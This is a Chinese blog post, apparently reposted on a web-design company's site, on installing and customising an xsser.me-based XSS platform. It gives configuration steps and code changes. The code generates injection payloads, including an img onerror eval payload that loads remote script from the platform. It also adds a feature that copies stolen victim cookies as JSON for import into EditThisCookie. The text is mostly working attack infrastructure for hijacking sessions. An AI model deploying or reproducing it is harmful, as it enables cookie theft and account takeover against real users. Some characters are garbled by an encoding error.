XSS平臺搭建與優(yōu)化(基于xsser.me源碼)

本文引用于:征途源碼論壇(www.zhengtuwl.com)-----專注各類免費精品×××的平臺

創(chuàng)新互聯(lián)2013年至今,先為政和等服務建站,政和等地企業(yè),進行企業(yè)商務咨詢服務。為政和企業(yè)網站制作PC+手機+微官網三網同步一站式服務解決您的所有建站問題。

XSS 平臺搭建與優(yōu)化(基于 xsser.me 源碼)

這個周花了點時間搗鼓公司內網論壇,不幸發(fā)現原來搭建的 xss platform 掛了,于是重新找了一份代碼進行搭建。

為什么選擇這個呢,主要是因為作者用 Bootstrap 對xsser.me的默認主題進行了修改,看起來高大上了很多~(至于兼容移動端神馬的就算了吧0 0)

下載源碼后,照著作者寫的安裝說明進行修改就好了:

  • 修改config.php里面的數據庫連接字段,包括數據庫配置(用戶名、密碼、數據庫名)、網站 URL 路徑和偽靜態(tài)配置。

  • 把根目錄下的xssplatform.sql導入到數據庫中。

  • 在數據庫中執(zhí)行 SQL 語句,把數據庫中的域名改為自己的域名:

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')

  • 替換authtest.php中的域名為自己的域名。

  • 首次注冊成功后,修改user表中用戶對應的adminlevel為1,將自己定義為超級管理員,可以發(fā)送和管理邀請碼。

  • 根據 server 類型配置偽靜態(tài)文件:

       Apache

<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L] 
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$  /index.php?do=do&auth=$1&domain=$3 [L] 
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L] 
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]

Nginx

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;

到這里xss platform就搭建完成了。


我在使用過程碰到的一些 bug,于是對源代碼進行了一番修改。

1. 短地址接口部分失效

在項目代碼中有一個轉換短地址的功能,當然原版的xsser.me是沒有的,是另外的作者集成進來的。

代碼里提供t.cn和is.gd的短地址轉換,對應函數在source/function.php中的第350行和357行。由于is.gd的 api 地址已經失效,所以我決定把這一塊內容去掉。

先刪掉頁面上展示的內容,打開templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php,將下面代碼去掉:

<p>     
   <pre>        
              <?php echo $this->_tpl_vars['shortShow1']; ?>    
   </pre>
</p>

然后在source/project.php里面注釋下面兩行:

$shortUrl2=LongUrltoShortUrl2($longUrl);//短網址2$shortShow2=StripStr("<script src=".$shortUrl2."></script>");
2. 去掉JS地址后面的時間戳

JS 地址后面加入時間戳,是為了在修改 JS 代碼后,刷新對方瀏覽器中緩存的 JS。但在實際測試中感覺作用不是很大,一般代碼修改完刷新一下網頁出來的就是新代碼。所以我把 JS URL 中的時間戳去掉了。

在source/project.php里進行下面的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("</textarea>'\">
<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
3. HTML 部分優(yōu)化

代碼中部分 Javascript 和 CSS 資源都是通過國外 cdn 獲取的,有時候頁面 load 很久才出來,于是把文中引用的資源都改為本地,當然改成國內 CDN 地址也可以。

在 Sublime Text 中對目錄進行搜索,找出jquery-1.9.1.min.js和bootstrap.min.js引用的地方,然后修改為本地引用,文件放在themes/default里對應的文件夾。

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改為:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/jquery.min.js"></script>
<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改為:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/bootstrap.min.js"></script>

PS.注意修改后的代碼為兩行。

PPS.其實引用的 Javascript 文件最好放在<body>的最后,但這里需要手動找到所有的 Javascript 進行修改,太麻煩了就沒做。

4. 添加 cookie 復制功能

一般來說,打到對方 cookie 后,會借用EditThisCookie這個工具把 cookie 導入到 chrome 中。但document.cookie輸出的 cookie 不能直接導入,需要轉換成EditThisCookie規(guī)定的 JSON 格式。

源代碼中本身自帶了實現復制功能的 JS 代碼,但默認是注釋掉的,因為沒有完整實現。同時,這個復制只是把 JSON 化后的 cookie 通過alert()打印到屏幕上,當 cookie 內容過多時,alert 窗口并不能展示所有的內容。

于是我決定對這個功能進行修改,在完成 JSON 格式化的同時,把 JSON 內容放入到剪貼板中。

首先對原有 HTML 節(jié)點進行修改,打開%%33^334^334DB811%%project_view.html.php ,找到下面內容:

<li><?php echo $this->_tpl_vars['ck']; ?> : 
<?php echo $this->_tpl_vars['c']; ?>
</li>
修改為:
<li><?php echo $this->_tpl_vars['ck']; ?> : 
<span id="<?php echo $this->_tpl_vars['ck']; ?>">
<?php echo $this->_tpl_vars['c']; ?>
</span>
</li>
<tr class="ohidden">
修改為:
<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">
<!--              <a href="javascript:void(0)">復制</a>             -->
修改為:  
<a href="javascript:void(0)">復制</a>

當某一條記錄沒有l(wèi)ocation或者cookie值的時候,Copy()函數會報錯,所以要加一個判斷條件:

var table = $(obj).parent().parent(); 
var l = table.find("#location").text(); 
var c = table.find("#cookie").text();
var table = $("#"+obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
if (l == "" || c == "") {  return "";}

修改Copy()函數的返回形式:

alert(JSON.stringify(data));
return JSON.stringify(data);

為了實現讓 JSON 數據復制到粘貼板上,我們需要借助ZeroClipboard.js這個插件。下面是調用代碼:

<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/ZeroClipboard.min.js"></script>
ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));client.on('copy', function(event) 

var clipboard = event.clipboardData;  clipboard.clearData();  
   clipboard.setData("text/plain", Copy(event.target.id));});client.on('aftercopy', function(event) 

if (typeof(event.success['text/plain']) == "undefined") 
{    
alert("cookie復制失敗,請檢查cookie格式~"); 
}  
else {    
alert("cookie已復制到剪貼板,可以導入EditThisCookie啦~");  
        }
    }
);

這樣就大功告成了~

本文標題:XSS平臺搭建與優(yōu)化(基于xsser.me源碼)
當前地址:http://bm7419.com/article42/igiehc.html

成都網站建設公司_創(chuàng)新互聯(lián),為您提供虛擬主機App設計、網站內鏈、網頁設計公司自適應網站、搜索引擎優(yōu)化

廣告

聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

網站建設網站維護公司